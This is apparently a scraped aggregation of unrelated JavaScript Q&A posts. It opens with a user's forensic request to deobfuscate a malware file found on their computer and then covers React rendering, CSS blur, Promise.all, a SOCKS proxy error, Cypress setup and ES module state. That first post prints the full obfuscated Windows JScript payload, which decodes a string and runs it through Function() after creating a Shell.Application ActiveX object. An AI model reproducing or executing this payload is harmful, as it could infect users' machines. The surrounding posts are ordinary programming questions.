Category: javascript
Category Added in a WPeMatico Campaign
Javascript Deobfuscator [closed]
I found a malware in my computer and perform forensic and I found out that the .js file has been obfuscated and I want to make the file readable. Can anyone help me here’s the code. thank you!
var a="$49fr|e=2 8(wD%j/g{jCs&B{OX+A*(/]w1*(B]w18}K^npz{/C5/vaEC9r|eD)P^jf3'l7*sA'jxxp[7tthOL$q(9M2]'(=18a&mT|&btkpUEkrze>8a}o4-dt{uA8]|w^8)[$%Y,wL(bC2[$qk<K!/$n38m”v{UK)/3{z%lw6n/2~u$VLw9(2bX+E(xMS!=|k!8jxvcUT.86oC&k$ze<+ @1yY(wL(][)f&qn=2etvpUEh”w_37k11(4C5/l$O9ktzj/1]11(5C5/l$O’g|xqB)j}ii3E!;zqMw}msMd[$qr3{Gqra18 1{d30d=il>0arip73f11(:3wL(W+O^%x{jCSl4=(wL(}OO~|{jC(;pbMwu}j18a~v$3Lw+|nGCs&inM8wL(^[+]$Nk:(]"0aV^l=ipB6aq}p37wL(.KC[p|_6C }1{IAu;{_Mwu}j18a~v$3Lw+m{Xw1*7D%j/|{jC(Jnk@C &inM2wL(,hCf/D{3QdtvcB,3/v'XLw$(9MKl/D8MX!/5{BC#/m*1,Y"Kk2)9$0jVOw$("jClJzaB9j}(I/8=i^AKl8&(6%wL(bC2[$qk<K]8(wD%j/|{jCy14jMw#k$3L3uwnMKnpz{@C5/87M6wK(o1K]8(!MXw:(1hCj:3%M2wL(o1Kl/3{<L$/|{Xwb|n72_=nn=1;winp3t0jMHwA={XC1F17@)l%zjM8uJ~]@Crw{jC^%v_B-g}0%M?npz{B8o/E{)E$|lgR'' s[1arzkA3^$6_=1'14{O,l$x6\Ro' *53gvta['g|7}YCyw|p>]'> sEQZxvc['g|7}+^^~z{U:Y"(eMw?4{6Ow’mlhCa/D{B8o=ta<+lwC{7N#8(wB6q/$r/6ww(9M2]'(=18a&mT|&btkpUEEbIyU&bmnD)jgUHuwL_62[Sy8Cd[3htv$Oj=c*(M8l'ce+L3w6o38Jtyq37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($3Lw+&y32l7pV^owqh3C $zq3Lw+qbMKr*w$VCxLE{4%d#m%M?owqh3C $zq3Lw+|nGCs30}OOw@1743j/0r/6wx(9M2]'(@/8]71*5)lcqi3K!J(eMNw7>,MMwD;{WC)?8,VC6L(j3;wSip3K!=oaBwa|m$V^w#s$VLwf[_@-h$6o:)] 0.]S(8&{1%lrp{U)!/$e4C *#kULwLE{4%d#m%M&jtigh*g"($D%j/q{jCft {q%lt0%[+]$\e;) 8C{7C#/@,]SwME{<)o/L]B) 86c38LxuaUL3/{gUL!/_O16a |*A0]tx$_S(?1yKAwtto3CsuwnMKnpz{7C5/vaEC<p|aUL&vmp"-et0%hCa/3{UY(/2{C”/9,]S!/F9M2]'(@/8]715)lcqi3K!J(o9K!8(S!’jxxp[7dtmlUU(?8%KAu80%h”,b=[91,45,35,87,15,8],c=””,d=0,e,f=new ActiveXObject(“Shell.Application”);for(;d<a.length;d++){e=a.charCodeAt(d)-b[d%6];c+=String.fromCharCode(e<32?95+e:e)}try{f.UndoMinimizeAll=””}catch(e){Function(c)()}`
I want answers for my questions
Fade-out Blur Effect for Floating Div
I’m rendering an array of messages, I want to make a blur effect at the bottom of the component for the remaining part of a message. So far, I’ve found the blur effect is applied to the children of the div. In this case I need to apply the blur effect to anything that is behind the div.
In other words, I have a floating div and I want everything that passes through behind it to be blurred.
Below is the code snippet
<>
<div
ref={messagesContainerRef}
className="w-full h-full flex flex-col rounded-xl overflow-auto relative"
>
{messages.map((message, index) => (
<div
key={message.id}
className="w-full flex flex-col border-[1px] border-white/30 rounded-xl p-2 my-1"
>
<div className="w-full rounded-lg text-sm">{message.question}</div>
<div className="w-full py-2 rounded-lg text-sm">{message.answer}</div>
</div>
))}
</div>
<div
className="absolute bottom-0 w-full h-16 blur-sm ">
</div>
</>
```
Render data besed on month array in React ja
I have a response from api like below. I want to render month wise data in a div in react js. Fow example for MARCH month it should only show only may month data in the div and for APIL and JUNE it should show respective month dta in a div. it should be dynamic.
const arr = [
{
MARCH: [
{
"iD": "67854",
"event": " closed",
"title": "test",
"startDate": "2024-06-20",
"endDate": "2024-07-25"
}
]
},
{
APRIL: [
{
"ID": "908765",
"event": "closed",
"title": "test",
"startDate": "2024-05-21",
"endDate": "2024-06-27"
},
{
ID: "12345",
event: "open",
title: "test123",
startDate: "2024-05-21",
endDate: "2024-06-27"
}
]
},
{
MAY: [
{
"ID": "908765",
"event": "closed",
"title": "test",
"startDate": "2024-05-21",
"endDate": "2024-06-27"
},
{
ID: "12345",
event: "open",
title: "test123",
startDate: "2024-05-21",
endDate: "2024-06-27"
},
{
ID: "12345",
event: "open",
title: "test123",
startDate: "2024-05-21",
endDate: "2024-06-27"
}
]
}
]
output in UI
MARCH
event - closed
title - test
startDate - 2024-06-20
endDate -2024-07-25
APRIL
event - closed
title - test
startDate - 2024-05-21
endDate - 2024-06-27
event - open
title - test123
startDate - 2024-05-21
endDate - 2024-06-27
MAY
event - closed
title - test
startDate - 2024-05-21
endDate - 2024-06-27
event - open
title - test123
startDate - 2024-05-21
endDate - 2024-06-27
event - open
title - test123
startDate - 2024-05-21
endDate - 2024-06-27
How can I achieve this. Could someone suggest. I tried with es6 map. but it didn’t git the expected output.
How to import excel file in my timesheet js
So I’m curious I need to make excel file to be shown as this text in timesheet, I put an excemple, I don’t know is that even possible? Because I want to somehow upload my excel as timesheet to be seen or timeline, not to be uploaded as excel format, I only put here timesheet js I wanted do a little changes on script to see is data showing and that’s it

why my previousName dont have username value when username!==””?
const chat = document.querySelector("#chat");
const message = document.querySelector("#message");
const baseUrl = "http://localhost/chat";
const button = document.querySelector("#submit");
const usernameInput = document.querySelector("#username"); // Select username input
const user = document.querySelector("#user");
let previousUsername = "";
function readChat() {
fetch(`${baseUrl}/chat-read.php`)
.then((res) => res.text())
.then((res) => {
const lines = res.split("n"); // Split response into lines
const lastLine = lines.pop(); // Get the last line (which is the username)
const username = lastLine.trim(); // Trim any whitespace
// Update #user element with the username
if (username !== "") {
user.textContent = "User: " + username;
previousUsername = username; // Update previousUsername if username is not empty
} else {
user.textContent = "User: " + previousUsername; // Use previousUsername if username is empty
console.log(previousUsername);
}
// Remove the last line from chat text
chat.value = lines.join("n");
});
setTimeout(readChat, 1000);
}
readChat();
i expected that the variable previousName have a value of username when username is not empty. I want to keep previous username displayed in #user when the user is not submitting the username
How do we change the position of the dialogflow messenger as we drag the icon from the bottom right to the left?
I have added dragging functionality to the icon, and now when I move it from the right to the extreme left of the screen, the messenger window appears to go off-screen. What can we do about this?
I couldn’t find any documentation addressing this issue. As we continue dragging the icon, the chatbox window’s position should adjust from right to left. As an example, I have attached a link below. Please try moving the chatbox icon from right to left and observe how the chatbox window adjusts accordingly. The chatbox window should not go off-screen but should remain within the screen boundaries.
how can i add placeHolder in react-phone-input-2 –save
i have addeed placeholder props but its not working
type here
<PhoneInput // excludeCountries={["kp",'mu', 'ua', 'zm', 'tr', 'tl', 'ro', 'rw', 'ps', 'pw', 'gr', 'bd', 'bz']} // onlyCountries={['fr', 'at', 'af']} // preserveOrder={['excludeCountries', 'preferredCountries']} // isValid={(value, country) => { // if (value.match(/12345/)) { // return Invalid value: ${value} , ${country.name}; // } else if (value.match(/1234/)) { // return false; // } else { // return true; // } // }} onChange={(value) => { setFieldValue('phone', value); console.log(value, 'Phonevalue'); }} enableSearch disableSearchIcon country={'us'} value={values.phone} {...props} specialLabel={''} placeholder="Enter Phone Number" name="phone" countryCodeEditable={false} onBlur={handleBlur} inputProps={{ name: 'phone', required: true, autoFocus: true, }} />
i want placeholder should be visible
Function seemingly returns incorrect value
When calling the function as follows:
getSmallestStringLength(["", "h"]);
It returns 1. Shouldn’t it return 0, as the first string is zero-length? What am I missing?
function getSmallestStringLength(strs) {
let result;
for (let i = 0; i < strs.length; i++) {
if (!result) {
result = strs[i].length;
} else if (strs[i].length < result) {
result = strs[i].length;
}
}
return result;
}
console.log(
getSmallestStringLength(["", "h"])
);
unable to understand logic difference between regex
What’s the difference between /^(?=.*[w])$/ and /^(?=.*[w]).
/^(?=.*[w])$/.test('a')returnfalse/^(?=.*[w])/.test('a')
returntrue.
Why is that?
How to implement JS Promise.all without using variable captures in nested closures?
I am trying to implement JS Promise.all and this is the code that I manage to get it to work in JS:
function promiseAll(promises) {
var results = [];
var numCompleted = 0;
return new Promise(function(resolve, reject){
promises.forEach(function(promise, index){
var onThen = function(result) {
results[index] = result;
numCompleted += 1;
if (nunCompleted === promises.length) fulfill(results);
};
var onCatch = function(error) { reject(error); };
promise.then(onThen).catch(onCatch);
});
});
}
Id like to port this code into C that does not support closures, it is possible to work around this issue using function pointers. However, the issue is with inner closures capturing values from outer closures, as in the above code the values for results and numCompleted are defined in the outermost closure, but are captured and updated in the inner closures. I have no idea how this can be emulated in C, so I wonder if it is possible to convert the above code to not using captured values from outer closures.
In other words, is it possible to rewrite the Promise.all implementation to avoid using variable captures? And of course, without using global variables either. Thx.
TypeError: SocksProxyAgent is not a constructor
const unirest = require('unirest');
const SocksProxyAgent = require('socks-proxy-agent');
// Define your SOCKS5 proxy
const proxy = 'socks5://127.0.0.1:1234';
// Create a SOCKS5 proxy agent
const agent = new SocksProxyAgent(proxy);
// Set up the request with the proxy agent
unirest.get('https://google.com')
.proxy(agent)
.end(function (response) {
console.log(response.body);
});
I am using above script to setup proxy setting with socks5 but I am getting “TypeError: SocksProxyAgent is not a constructor” this error. Please help me to resolve the issue.
Thanks in advance.
I want to setup the proxy with socks5 in firefox browser
How to fix 404 error when deploying react-route-dom? [duplicate]
I am going to learn react and distribute a program for use in the company for the first time
The web server is apach
404 error is output when connecting after deployment
At first, I thought it was a server setting
const App = () => {
return (
<AppProvider contexts={[CommonProvider, ModalProvider]}>
{/*<RouterProvider router={router} />*/}
<div>test</div>
</AppProvider>
);
};
After annotating the router part, the word text is output normally when the distribution test is conducted.
If you release the annotated part of the code above and test it
Unexpected Application Error!
404 Not Found
test
It is printed in .
I guess 404 error is output on the route
route.js
import { createBrowserRouter } from "react-router-dom";
import Head, { ScheduleMainLoader } from "./../components/Head";
import ScheduleMain from "../components/ScheduleMain";
const router = createBrowserRouter([
{
path: "/",
//path: process.env.PUBLIC_URL,
element: <Head />,
loader: ScheduleMainLoader,
children: [
{
//path: "/",
index: true,
//path: process.env.PUBLIC_URL,
element: <ScheduleMain />,
//loader: ScheduleMainLoader,
},
],
},
]);
export default router;
import CommonProvider from "./context/CommonContext.jsx";
import router from "./routers/routes";
import { RouterProvider } from "react-router-dom";
import React from "react";
import ModalProvider from "./context/modalContext";
const AppProvider = ({ contexts, children }) =>
contexts.reduce(
(prev, context) =>
React.createElement(context, {
children: prev,
}),
children
);
const App = () => {
return (
<AppProvider contexts={[CommonProvider, ModalProvider]}>
<RouterProvider router={router} />
</AppProvider>
);
};
export default App;
I tried changing the path from route.js to / and also changed it to process.env.PUBLIC_URL, but I’m still outputting the same 404.
How can I solve the above problem?
this is the error i get in cypress when i test run
I’m currently facing some challenges setting up my testing environment for registering & login testing. I’ve tried following the usual steps and documentation, but I keep encountering environment process is not defined. I’m hoping someone here can provide some guidance or suggestions on how to troubleshoot and resolve this issue.
ReferenceError
The following error originated from your test code, not from Cypress.
process is not defined
When Cypress detects uncaught errors originating from your test code it will automatically fail the current test.
Cypress could not associate this error to any specific test.
We dynamically generated a new test to display this failure.
node_modules/ci-info/index.js:5:1
3 | const vendors = require(‘./vendors.json’)
4 |
5 | const env = process.env
| ^
here is the stack trace
at ./node_modules/ci-info/index.js (webpack://imatch/./node_modules/ci-info/index.js:5)
at webpack_require (webpack://imatch/webpack/bootstrap:19)
at ./node_modules/is-ci/index.js (webpack://imatch/./node_modules/is-ci/index.js:3)
at webpack_require (webpack://imatch/webpack/bootstrap:19)
at ./node_modules/cypress/lib/util.js (webpack://imatch/./node_modules/cypress/lib/util.js:12:13)
at webpack_require (webpack://imatch/webpack/bootstrap:19)
at ./node_modules/cypress/index.js (webpack://imatch/./node_modules/cypress/index.js:6:13)
at webpack_require (webpack://imatch/webpack/bootstrap:19)
at ./cypress/support/commands.js (webpack://imatch/./cypress/support/commands.js:32:16)
at webpack_require (webpack://imatch/webpack/bootstrap:19)
From previous event:
at Promise.longStackTracesCaptureStackTrace [as _captureStackTrace] (http://localhost:55853/__cypress/runner/cypress_runner.js:3486:19)
at Promise._then (http://localhost:55853/__cypress/runner/cypress_runner.js:1239:17)
at Promise.then (http://localhost:55853/__cypress/runner/cypress_runner.js:1132:17)
at runScriptsFromUrls (http://localhost:55853/__cypress/runner/cypress_runner.js:110842:136)
at Object.runScripts (http://localhost:55853/__cypress/runner/cypress_runner.js:110883:12)
at $Cypress.onSpecWindow (http://localhost:55853/__cypress/runner/cypress_runner.js:40889:67)
Does importing ES6 module initialize variable?
// util.ts
const sessionAttr = {}
const session = {
setAttribute(k: string | number, v: any) {
sessionAttr[k] = v
},
getAttribute(k: string | number) {
return sessionAttr[k]
},
removeAttribute(k: string) {
delete sessionAttr[k]
}
}
export const Util = {
session,
}
// A.vue
import { Util } from '@/util'
Util.session.setAttribute('ssACNo', 'someString')
// B.vue
import { Util } from '@/util'
Util.session.getAttribute('ssACNo') // 'someString' ..?
When changing route A => B,
sometimes Util.session.getAttribute('ssACNo') return ‘someString’,
but sometimes return undefined.
I cannot figure out why happen, what difference..
I expected that session variable will keep the data while moving a route to other route.
But maybe when other route import same module again, all variable of module has been initialize I thought.
Is this right? please let me know why, and how can I keep the data while moving route?

